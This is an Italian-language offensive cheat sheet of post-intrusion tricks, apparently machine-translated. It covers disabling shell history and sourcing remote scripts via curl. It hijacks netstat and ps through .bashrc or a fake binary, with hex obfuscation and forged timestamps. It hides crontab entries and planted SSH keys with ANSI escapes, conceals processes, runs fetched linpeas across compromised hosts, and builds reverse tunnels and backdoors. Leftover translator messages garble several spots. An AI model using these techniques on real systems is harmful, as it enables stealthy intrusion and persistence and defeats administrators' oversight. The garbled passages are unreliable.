
Various tips & tricks
Una raccolta dei nostri trucchi preferiti. Molti di questi trucchi non sono nostri. Ci limitiamo a raccoglierli.
Mostriamo i trucchi 'così come sono' senza spiegare perché funzionano. Devi conoscere Linux per capire come e perché funzionano.
Hai dei trucchi? Unisciti a noi https://thc.org/ops
1.i. Configurare una Hack Shell (bash):
Rende BASH meno rumoroso. Disabilita ~/.bash_history e molte altre cose.```sh source <(curl -SsfL https://thc.org/hs)
URL alternativo:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
E se non c'è curl/wget, usa surl e curl (temporaneamente) installato con bin curl.```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).HackShell fa molto di più, ma soprattutto questo:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
Usiamo molto anew, e questa è una soluzione rapida:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
Suggerimento bonus:
Qualsiasi comando che inizi con uno " " (spazio) [non verrà registrato nella cronologia](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) nemmeno.```
$ id
1.ii. Nascondi il tuo comando / Daemonizza il tuo comando
Questo nasconderà solo il nome del processo. Usa zapper per nascondere anche le opzioni della riga di comando.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'
Avvia un 'nmap' in background nascosto come '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
Inizia all'interno di una GNU screen:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
screen -x MyName
In alternativa, copia il binario con un nuovo nome:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
oppure usa bind-mount per far (temporaneamente) puntare /sbin/init a /dev/shm/nmap invece:```shell mount -n --bind "$(command -v nmap)" /sbin/init
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
<a id="zap"></a>
**1.iii. Nascondi le opzioni della riga di comando**
Usa [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
Non è presente alcun contenuto da tradurre nell'input fornito. Il campo "INPUT:" è vuoto.```sh
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
<a id="bash-hide-connection"></a>
**1.iv. Nascondere una connessione di rete**
Il trucco è di dirottare `netstat` e usare grep per filtrare la nostra connessione. Questo esempio filtra qualsiasi connessione sulla porta 31337 _o_ ip 1.2.3.4. La stessa cosa dovrebbe essere fatta per `ss` (un'alternativa a netstat).
**Metodo 1 - Nascondere una connessione con una funzione bash in ~/.bashrc**
Copia e incolla questo per aggiungere la riga a ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
Oppure copia e incolla questo per una voce offuscata in /.bashrc:```shell
X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc
La voce offuscata in ~/.bashrc apparirà così:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
Metodo 2 - Nascondere una connessione con un binario in $PATH
Crea un falso binario netstat in /usr/local/sbin. Su un Debian predefinito (e sulla maggior parte dei sistemi Linux) le variabili PATH (echo $PATH) elencano /usr/local/sbin prima di /usr/bin. Questo significa che il nostro binario dirottato /usr/local/sbin/netstat verrà eseguito al posto di /usr/bin/netstat.```shell
echo '#! /bin/bash
exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat
*(grazie iamaskid)*
<a id="hide-a-process-user"></a>
**1.v. Nascondere un processo come utente**
Continuando da "Nascondere una connessione", la stessa tecnica può essere usata per nascondere un processo. Questo esempio nasconde il processo nmap e si assicura anche che la nostra `grep` non appaia nell'elenco dei processi, rinominandola in GREP:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
1.vi. Nascondere un processo come root
Questo richiede privilegi di root ed è un vecchio trucco Linux che consiste nel montare sopra /proc/<pid> una directory inutile:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }
Per nascondere un comando usa:```sh
hide # Hides the current shell/PID
hide 31337 # Hides process with pid 31337
hide sleep 1234 # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process
(thanks to druichi for improving this)
1.vii. Nascondere gli script di shell
In precedenza abbiamo discusso come offuscare una riga in ~/.bashrc. Un trucco spesso usato è usare source al suo posto. Il comando source può essere abbreviato in . (sì, un punto) e cerca anche attraverso la variabile $PATH per trovare il file da caricare.
In questo esempio il nostro script prng contiene tutte le nostre funzioni di shell di cui sopra. Queste funzioni nascondono il processo nmap e la connessione di rete. Infine aggiungiamo . prng nel file rc di sistema. Questo caricherà prng quando l'utente (e root) effettua l'accesso:```shell
echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
(Lo stesso funziona per `lsof`, `ss` e `ls`)
<a id="cat"></a>
**1.viii. Nascondersi da cat**
I caratteri di escape ANSI o un semplice `\r` ([ritorno a capo](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) possono essere usati per nascondersi da `cat` e altri.
Nascondi l'ultimo comando (esempio: `id`) in `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.
Aggiungi una riga crontab nascosta:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab
Aggiungere un `\r` (ritorno a capo) aiuta molto a nascondere la tua chiave ssh da `cat`:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).
1.ix. Esecuzione in parallelo con file di log separati*
Nota: Lo stesso risultato può essere ottenuto con parallel.
Scansiona gli host con 20 attività parallele:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'
- `exec` viene usato per sostituire la shell sottostante con l'ultimo processo (nmap). È opzionale ma riduce il numero di binari shell in esecuzione/inutili.
- `${SLOT}` contiene un valore tra 0 e 19. È il "numero del task". Lo usiamo per scrivere i risultati di nmap in 20 file separati.
Esegui [Linpeas](https://github.com/carlospolop/PEASS-ng) su tutti gli host [gsocket](https://www.gsocket.io/deploy) usando 40 worker:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'
Ti impedisce di comparire nel comando w o who e impedisce la registrazione dell'host in ~/.ssh/known_hosts.```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"
Vai in piena comodità con PTY e colori: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
local ttyp="$(stty -g)"
echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
stty raw -echo icrnl opost
[[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
"$@" \
"unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
stty "${ttyp}"
}
(Vedi Hackshell)
2.ii Multiple shell tramite 1 connessione SSH/TCP
Avere una connessione TCP verso il target e consentire a più utenti di usufruire della stessa connessione TCP per aprire ulteriori sessioni di shell.
Crea una connessione Master:```sh ssh -M -S .sshmux [email protected]
Crea ulteriori sessioni shell utilizzando la stessa (unica) connessione Master-TCP di cui sopra (nessuna password/autenticazione necessaria):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .
Può essere combinato con xssh per nascondersi da utmp.
Lo usiamo continuamente per aggirare firewall locali e filtraggio IP:```sh ssh -g -L31337:1.2.3.4:80 [email protected]
Ora tu o chiunque altro potete connettervi al vostro computer sulla porta 31337 e venire instradati verso 1.2.3.4 porta 80, apparendo con l'IP sorgente di 'server.org'. Un'alternativa, senza la necessità di un server, è usare [gs-netcat](#backdoor-network).
Gli hacker esperti usano la combinazione di tasti `~C` per creare dinamicamente questi tunnel senza dover riconnettere la SSH. (grazie MessedeDegod).
Usiamo questo metodo per dare a un amico l'accesso a una macchina interna che non è sulla rete Internet pubblica:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]
Anyone connecting to server.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer. An alternative and without the need for a server is to use gs-netcat.
OpenSSH 7.6 adds socks support for dynamic forwarding. Example: Tunnel all your browser traffic through your server.```sh ssh -D 1080 [email protected]
Ora configura il browser per utilizzare SOCKS con 127.0.0.1:1080. Tutto il tuo traffico viene ora instradato tramite *server.org* e apparirà con l'IP sorgente di *server.org*. Un'alternativa, che non richiede un server, è usare [gs-netcat](#backdoor-network).
Questo è l'inverso dell'esempio precedente. Dà ad altri accesso alla tua rete *locale* o consente ad altri di usare il tuo computer come end-point del tunnel.```sh
ssh -g -R 1080 [email protected]
Gli altri configurano server.org:1080 come proxy SOCKS4/5. Ora possono connettersi a qualsiasi computer su qualsiasi porta a cui il tuo computer ha accesso. Questo include l'accesso a computer dietro il tuo firewall che si trovano sulla tua rete locale. Un'alternativa senza bisogno di un server è usare gs-netcat.
2.v SSH verso un host dietro NAT
ssh-j.com fornisce un ottimo servizio di relay: per accedere a un host dietro NAT/Firewall (via SSH).
Sull'host dietro NAT: crea un tunnel SSH inverso verso ssh-j.com in questo modo:```sh
sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }
sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN
Quindi usa questo comando da qualsiasi altra parte del mondo per connetterti come 'root' a 'foobarblahblub' (l'host dietro il NAT):```sh
ssh -J [email protected] root@foobarblahblub
La connessione SSH passa attraverso ssh-j.com nel tunnel inverso verso l'host dietro NAT. Il traffico è crittografato end-to-end e ssh-j.com non può vedere il contenuto.
2.vi SSH pivoting verso più server
SSH ProxyJump può farti risparmiare molto tempo e fatica quando lavori con server remoti. Supponiamo questo scenario:
La nostra workstation è $local-kali e vogliamo connetterci via SSH a $target-host. Non esiste una connessione diretta tra la nostra workstation e $target-host. La nostra workstation può raggiungere solo $C2. $C2 può raggiungere $internal-jumphost (tramite eth1 interna) e $internal-jumphost può raggiungere il $target-host finale via eth2.```sh
$local-kali -> $C2 -> $internal-jumphost -> $target-host
eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135
eth2 172.16.2.120 172.16.2.121
> Non eseguiamo `ssh` su nessun computer se non sulla nostra workstation fidata - e nemmeno tu dovresti (mai).
È qui che ProxyJump aiuta: possiamo "saltare" attraverso i due server intermedi $C2 e $internal-jumphost (senza avviare una shell su quei server). La connessione ssh è crittografata end-to-end tra il nostro $local-kali e $target-host e nessuna password o chiave viene esposta a $C2 o $internal-jumphost.```sh
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]
## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]
Usiamo anche questo per nascondere il nostro indirizzo IP quando accediamo ai server.
È possibile avviare un server SSHD come utente non root e usarlo per multiplexare o inoltrare connessioni TCP (senza logging e quando il SSHD di sistema vieta forwarding/multiplexing) oppure come un rapido exfil-dump-server che gira senza privilegi di root:```sh
mkdir -p /.ssh 2>/dev/null
ssh-keygen -q -N "" -t ed25519 -f sshd_key
cat sshd_key.pub >>/.ssh/authorized_keys
cat sshd_key
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io
SSF è un modo alternativo per multiplexare TCP su TLS.
nmap -n -sn -PR -oG - 192.168.0.1/24
[No content provided in the INPUT field.]```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24
INPUT:```sh
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'
## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done
## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'
socat stdio openssl-connect:smtp.gmail.com:465
openssl s_client -connect smtp.gmail.com:465
INPUT:```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465
Utile per backdoor inverse che necessitano di una porta TCP su un indirizzo IP pubblico:
Usando segfault.net (gratuito):```sh
curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)
Utilizzando [bore.pub](https://github.com/ekzhang/bore) (gratuito):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub
usando serveo.net (gratuito):```sh
ssh -R 0:localhost:31337 [email protected]
usando [pinggy.io](https://www.pinggy.io) (60 minuti gratuiti):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]
Vedi anche remote.moe (gratuito) per inoltrare TCP grezzo dal target alla tua workstation oppure playit (gratuito) o ngrok (abbonamento a pagamento) per inoltrare una porta TCP pubblica grezza.
Altri servizi gratuiti sono limitati all'inoltro del solo HTTPS (non TCP grezzo). Alcuni trucchi qui sotto mostrano come incapsulare TCP grezzo su inoltri HTTPS (usando websockets).
Sul server, usa uno qualsiasi di questi tre servizi di tunneling HTTPS:```sh
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate
Either service will generate a new temporary HTTPS-URL for you to use.
Then, use [websocat](https://github.com/vi/websocat) or [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) on both ends to tunnel raw TCP over the HTTPS URL:
A. A simple STDIN/STDOUT pipe via HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>
B. Inoltra TCP grezzo tramite HTTPS:```sh
gost -L mws://:8080
Inoltra la porta 2222 alla porta 22 del server.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222
oppure usa il server come nodo di uscita Socks-Proxy (ad esempio accedi a qualsiasi host all'interno della rete del server o persino a Internet tramite il server (usando il tunnel inverso HTTPS di cui sopra):```sh
gost -L :1080 -F 'mwss://:443'
curl -x socks5h://0 ipinfo.io
Altro: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) e [Tunnel via Cloudflare to any TCP Service](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) e [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).
---
<a id="iptables"></a>
**3.iii.c Rimbalzare il traffico con iptables**
Rimbalza attraverso un host/router senza dover eseguire un proxy o un forwarder in userland:```sh
bounceinit() {
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
[ $# -le 0 ] && set -- "0.0.0.0/0"
while [ $# -gt 0 ]; do
iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
shift 1
done
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce
(See Hackshell bounce)
Poi imposta i forward in questo modo:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443
Usiamo questo trucco per raggiungere la gsocket-relay-network (o TOR) dall'interno di reti protette da firewall.```sh
# Deploy on a target that can only reach 192.168.0.100
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh
# Access the target
GS_HOST=213.171.212.212 gs-netcat -i -s ...
Utile su un host all'interno della rete target. Questo strumento riconfigura (senza lasciare tracce) la SHELL: qualsiasi programma (nmap, cme, ...) avviato da questa SHELL utilizzerà un IP fittizio. Tutti i tuoi attacchi avranno origine da un host che non esiste.```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
Funziona anche in combinazione con:
* [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): Collegherà il tuo ROOT Server alla RETE DI DESTINAZIONE utilizzando un Ghost IP all'interno della rete di destinazione.
* [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): Come sopra, ma meno sicuro.
---
<a id="tunnel-more"></a>
**3.vi.d Vari Trucchi per Tunnel**
### Tunnel tramite CDN
* Leggi [Come creare un tunnel per qualsiasi servizio TCP tramite CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) oppure usa [DarkFlare](https://github.com/doxx/darkflare).
### Collega il tuo host direttamente alla rete remota
* [WireTap](https://github.com/sandialabs/wiretap) - Funziona come utente o root. Usa UDP come trasporto. ([Provalo](https://thc.org/segfault/wireguard) su segfault.)
* [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Usa TCP come trasporto. Funziona bene tramite [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) o gs-netcat.
### Usa SSH come proxy inverso economico tramite Cloudflare
Questo metodo è simile ai [tunnel inversi HTTPS](#https) ma usa SSH invece di Gost o websocat.
- Vantaggio: Usa solo *cloudflared* e *SSH* sul target.
- Svantaggio: Richiede un abbonamento CF.
1. Vai alla tua Dashboard CF -> Zero Trust -> Networks -> Tunnels
2. Crea un nuovo tunnel 'Cloudflared' con qualsiasi nome.
3. Seleziona Debian & 64-bit. Il Token non è mostrato per intero. Estrai il "Token" copiando l'area in grigio in un documento separato per rivelare l'intero Token (le lunghe stringhe esadecimali dopo `sudo cloudflared service install <TunnelTokenHere>`).
4. Aggiungi un sottodominio (l'esempio usa `ssh.team-teso.net`).
5. Imposta Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere
Il contenuto del tool non è incluso nel prompt. Non c'è testo da tradurre. Se desideri, incolla il contenuto del chunk 122 e provvederò alla traduzione in italiano rispettando tutte le regole indicate.```shell
ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080
Please provide the Markdown content to translate.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io
Use ProxyChains o GrafTCP per il tunneling di altri protocolli tramite il proxy inverso.
3.iv. Usa qualsiasi strumento tramite Socks Proxy
Nella rete del target:```sh
gs-netcat -l -S
Sulla tua workstation:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}
### Usando GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1
3.v. Trova il tuo indirizzo IP pubblico```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com
Ottieni informazioni di geolocalizzazione su qualsiasi indirizzo IP:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8
Ottieni informazioni ASN tramite indirizzo IP:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup
Controlla se TOR sta funzionando:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...
3.vi. Verifica la raggiungibilità da tutto il mondo
Le gentili persone di https://ping.pe/ ti permettono di eseguire ping/traceroute/mtr/dig/port-check su un host da tutto il mondo, controllare le porte TCP, risolvere un nome di dominio, ...e molte altre cose.
Per verificare quanto bene il tuo host (attuale) riesca a raggiungere Internet, usa OONI Probe:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1
---
<a id="check-open-ports"></a>
**3.vii. Controlla/Scansiona le porte aperte su un IP**
[Censys](https://search.censys.io/) o [Shodan](https://internetdb.shodan.io) servizio di ricerca delle porte:```shell
curl https://internetdb.shodan.io/1.1.1.1
Scansione veloce delle vulnerabilità (-F)```shell
nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org
Scansione delle porte TCP aperte:```sh
_scan_single() {
local opt=("${2}")
[ -f "$2" ] && opt=("-iL" "$2")
nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
local port="${1:?}"
shift 1
for ip in "$@"; do
_scan_single "$port" "$ip"
done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254
INPUT:
(Vedi Hackshell scan)
Semplice port-scanner bash:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED
---
<a id="bruteforce"></a>
**3.viii. Crack degli hash delle password**
1. [NTLM2password](https://ntlm.pw/) per crackare (lookup) le password NTLM
2. [wpa-sec](https://wpa-sec.stanev.org) per crackare (lookup) le password WPA PSK
HashCat è il nostro strumento di riferimento per tutto il resto:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt
Usando una 10-days 7-16 char hashmask su GPU:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2
Decifra gli hash di `known_hosts` di OpenSSH per rivelare l'indirizzo IP:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt
👉 Leggi le FAQ.
Tieni presente che gli hash $6$ sono LENTI. Anche la hashmask 7-16 caratteri da 1 minuto richiederebbe molti giorni su un cluster 8xRTX4090 per essere completata.
Noleggia un cluster GPU RTX-4090 su vast.ai per $0.40/h e usa dizcza/docker-hashcat:cuda (leggi di più).
In alternativa, usa Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis oppure esegui il cracking sulle tue istanze AWS.
3.xi. Brute Force di Password / Chiavi
Quanto segue riguarda la forzatura bruta (indovinare) delle password dei SERVIZI ONLINE.
Non puoi forzare brutalmente gli account GMAIL.
SMTP AUTH/LOGIN È DISABILITATO SU GMAIL.
Tutti gli strumenti di Brute Force e Password Cracking di GMail sono FALSI.
Tutti gli strumenti sono preinstallati su segfault:```shell ssh [email protected] # password is 'segfault'
(Potresti voler usare il tuo [nodo EXIT](https://www.thc.org/segfault/wireguard))
Strumenti:
